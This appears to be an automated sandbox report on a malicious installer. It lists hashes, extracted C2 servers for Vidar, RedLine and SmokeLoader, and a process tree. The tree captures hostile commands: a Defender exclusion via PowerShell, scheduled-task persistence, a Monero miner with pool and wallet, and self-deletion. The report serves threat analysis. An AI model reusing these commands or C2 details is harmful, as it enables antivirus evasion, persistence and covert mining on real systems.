Resubmissions

07-09-2021 17:58

210907-wkd7wadah9 10

07-09-2021 17:45

210907-wb81wsdag7 10

Analysis

  • max time kernel
    34s
  • max time network
    606s
  • platform
    windows10_x64
  • resource
    win10-en
  • submitted
    07-09-2021 17:45

General

  • Target

    setup_x86_x64_install.exe

  • Size

    2.9MB

  • MD5

    3f1f81101d0ce95fdfac97f5913cd662

  • SHA1

    8e615a64e4d72b08926242b7d73a608bdd7e9fce

  • SHA256

    90aa6a7c770f2c0f49596731c80fda7d044802dea9e905ff999b39cda5428407

  • SHA512

    a776c1f8636ef90d294becf8d09a45366463364026837c19e13227c1c5c9a6656b6fa525e0eec5a1a46997b6ef7066e958c02523a7c4538d046f8b2091145285

Malware Config

Extracted

Family

vidar

Version

40.5

Botnet

706

C2

https://gheorghip.tumblr.com/

Attributes
  • profile_id

    706

Extracted

Family

vidar

Version

40.5

Botnet

916

C2

https://gheorghip.tumblr.com/

Attributes
  • profile_id

    916

Extracted

Family

redline

Botnet

Jayson

C2

95.181.172.207:56915

Extracted

Family

smokeloader

Version

2020

C2

http://varmisende.com/upload/

http://fernandomayol.com/upload/

http://nextlytm.com/upload/

http://people4jan.com/upload/

http://asfaltwerk.com/upload/

rc4.i32
rc4.i32

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Djvu Ransomware

    Ransomware which is a variant of the STOP family.

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba Payload 2 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 8 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 2 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • rl_trojan 4 IoCs

    redline stealer.

  • Vidar Stealer 5 IoCs
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Downloads MZ/PE file
  • Executes dropped EXE 35 IoCs
  • Loads dropped DLL 9 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 5 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 30 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 2 IoCs
  • Kills process with taskkill 4 IoCs
  • Modifies registry class 10 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Browser
    1⤵
      PID:2464
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
      1⤵
        PID:352
      • C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
        "C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:3128
        • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
          "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2508
          • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\setup_install.exe
            "C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\setup_install.exe"
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:184
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Tue11d7385a978cc.exe
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1252
              • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11d7385a978cc.exe
                Tue11d7385a978cc.exe
                5⤵
                • Executes dropped EXE
                PID:404
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3680
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                5⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1120
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Tue11b9d76a96506.exe
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3136
              • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11b9d76a96506.exe
                Tue11b9d76a96506.exe
                5⤵
                • Executes dropped EXE
                PID:824
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Tue11f251db82fb7b.exe
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:376
              • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11f251db82fb7b.exe
                Tue11f251db82fb7b.exe
                5⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:2208
                • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                  "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                  6⤵
                  • Executes dropped EXE
                  PID:4580
                  • C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
                    "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
                    7⤵
                    • Executes dropped EXE
                    PID:4700
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                      8⤵
                        PID:4436
                        • C:\Windows\system32\schtasks.exe
                          schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                          9⤵
                          • Creates scheduled task(s)
                          PID:5504
                      • C:\Users\Admin\AppData\Roaming\services64.exe
                        "C:\Users\Admin\AppData\Roaming\services64.exe"
                        8⤵
                          PID:5008
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                            9⤵
                              PID:4316
                              • C:\Windows\system32\schtasks.exe
                                schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                                10⤵
                                • Creates scheduled task(s)
                                PID:5328
                            • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                              "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                              9⤵
                                PID:7040
                              • C:\Windows\explorer.exe
                                C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
                                9⤵
                                  PID:6444
                            • C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
                              "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
                              7⤵
                              • Executes dropped EXE
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4780
                              • C:\Users\Admin\AppData\Roaming\4756521.exe
                                "C:\Users\Admin\AppData\Roaming\4756521.exe"
                                8⤵
                                  PID:3032
                                • C:\Users\Admin\AppData\Roaming\8629324.exe
                                  "C:\Users\Admin\AppData\Roaming\8629324.exe"
                                  8⤵
                                  • Executes dropped EXE
                                  PID:5032
                                • C:\Users\Admin\AppData\Roaming\2619717.exe
                                  "C:\Users\Admin\AppData\Roaming\2619717.exe"
                                  8⤵
                                    PID:5856
                                  • C:\Users\Admin\AppData\Roaming\3239364.exe
                                    "C:\Users\Admin\AppData\Roaming\3239364.exe"
                                    8⤵
                                      PID:5200
                                  • C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe
                                    "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe"
                                    7⤵
                                    • Executes dropped EXE
                                    PID:4904
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c taskkill /im Alfanewfile2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe" & del C:\ProgramData\*.dll & exit
                                      8⤵
                                        PID:6500
                                        • C:\Windows\SysWOW64\taskkill.exe
                                          taskkill /im Alfanewfile2.exe /f
                                          9⤵
                                          • Kills process with taskkill
                                          PID:7096
                                        • C:\Windows\SysWOW64\timeout.exe
                                          timeout /t 6
                                          9⤵
                                          • Delays execution with timeout.exe
                                          PID:4640
                                    • C:\Users\Admin\AppData\Local\Temp\2.exe
                                      "C:\Users\Admin\AppData\Local\Temp\2.exe"
                                      7⤵
                                      • Executes dropped EXE
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4984
                                      • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                        8⤵
                                        • Executes dropped EXE
                                        PID:4688
                                        • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                          "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                          9⤵
                                            PID:1464
                                      • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                        7⤵
                                        • Executes dropped EXE
                                        PID:5064
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5064 -s 772
                                          8⤵
                                          • Program crash
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:4356
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5064 -s 840
                                          8⤵
                                          • Program crash
                                          PID:5236
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5064 -s 892
                                          8⤵
                                          • Program crash
                                          PID:5732
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5064 -s 872
                                          8⤵
                                          • Program crash
                                          PID:6100
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5064 -s 868
                                          8⤵
                                          • Program crash
                                          PID:5136
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5064 -s 876
                                          8⤵
                                          • Program crash
                                          PID:4496
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5064 -s 1320
                                          8⤵
                                          • Program crash
                                          PID:1836
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5064 -s 1360
                                          8⤵
                                          • Program crash
                                          PID:5852
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5064 -s 1380
                                          8⤵
                                          • Program crash
                                          PID:4628
                                      • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                                        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                                        7⤵
                                        • Executes dropped EXE
                                        PID:4196
                                        • C:\Users\Admin\AppData\Local\Temp\is-LCTLN.tmp\setup_2.tmp
                                          "C:\Users\Admin\AppData\Local\Temp\is-LCTLN.tmp\setup_2.tmp" /SL5="$70062,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                                          8⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          PID:4420
                                      • C:\Users\Admin\AppData\Local\Temp\3002.exe
                                        "C:\Users\Admin\AppData\Local\Temp\3002.exe"
                                        7⤵
                                        • Executes dropped EXE
                                        PID:4056
                                        • C:\Users\Admin\AppData\Local\Temp\3002.exe
                                          "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
                                          8⤵
                                            PID:5072
                                        • C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
                                          "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
                                          7⤵
                                          • Executes dropped EXE
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:2408
                                        • C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
                                          "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
                                          7⤵
                                          • Executes dropped EXE
                                          PID:4516
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Tue11e4e580f2e8141a3.exe
                                    4⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:2400
                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                      Tue11e4e580f2e8141a3.exe
                                      5⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetThreadContext
                                      PID:4152
                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                        C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                        6⤵
                                          PID:4524
                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                          C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                          6⤵
                                            PID:4872
                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                            C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                            6⤵
                                            • Executes dropped EXE
                                            PID:4576
                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                            C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                            6⤵
                                              PID:1560
                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                              C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                              6⤵
                                                PID:5248
                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                6⤵
                                                  PID:5720
                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                  6⤵
                                                    PID:4332
                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                    6⤵
                                                      PID:5212
                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                      C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                      6⤵
                                                        PID:4672
                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                        C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                        6⤵
                                                          PID:4496
                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                          C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                          6⤵
                                                            PID:4136
                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                            C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                            6⤵
                                                              PID:5920
                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                              C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                              6⤵
                                                                PID:5864
                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                6⤵
                                                                  PID:6580
                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                  6⤵
                                                                    PID:6168
                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                    6⤵
                                                                      PID:1268
                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                      C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                      6⤵
                                                                        PID:6676
                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                        C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                        6⤵
                                                                          PID:4308
                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                          6⤵
                                                                            PID:6016
                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                            C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                            6⤵
                                                                              PID:5916
                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                              C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                              6⤵
                                                                                PID:6496
                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                6⤵
                                                                                  PID:6464
                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                  6⤵
                                                                                    PID:6312
                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                    6⤵
                                                                                      PID:5424
                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                      6⤵
                                                                                        PID:5532
                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                        6⤵
                                                                                          PID:1240
                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                          6⤵
                                                                                            PID:4824
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                            6⤵
                                                                                              PID:5128
                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                              6⤵
                                                                                                PID:4204
                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                6⤵
                                                                                                  PID:2508
                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                  6⤵
                                                                                                    PID:3116
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                    6⤵
                                                                                                      PID:5696
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                      6⤵
                                                                                                        PID:1132
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                        6⤵
                                                                                                          PID:2596
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                          6⤵
                                                                                                            PID:2316
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                            6⤵
                                                                                                              PID:3176
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                              6⤵
                                                                                                                PID:4352
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                6⤵
                                                                                                                  PID:6412
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                  6⤵
                                                                                                                    PID:6892
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                    6⤵
                                                                                                                      PID:6300
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                      6⤵
                                                                                                                        PID:6372
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                        6⤵
                                                                                                                          PID:7132
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                          6⤵
                                                                                                                            PID:5660
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                            6⤵
                                                                                                                              PID:5780
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                              6⤵
                                                                                                                                PID:6316
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                6⤵
                                                                                                                                  PID:4752
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                  6⤵
                                                                                                                                    PID:6604
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                    6⤵
                                                                                                                                      PID:6600
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                      6⤵
                                                                                                                                        PID:5284
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                        6⤵
                                                                                                                                          PID:6744
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                          6⤵
                                                                                                                                            PID:5592
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                            6⤵
                                                                                                                                              PID:6244
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                              6⤵
                                                                                                                                                PID:5404
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                6⤵
                                                                                                                                                  PID:5700
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                  6⤵
                                                                                                                                                    PID:4540
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                    6⤵
                                                                                                                                                      PID:5204
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                      6⤵
                                                                                                                                                        PID:4336
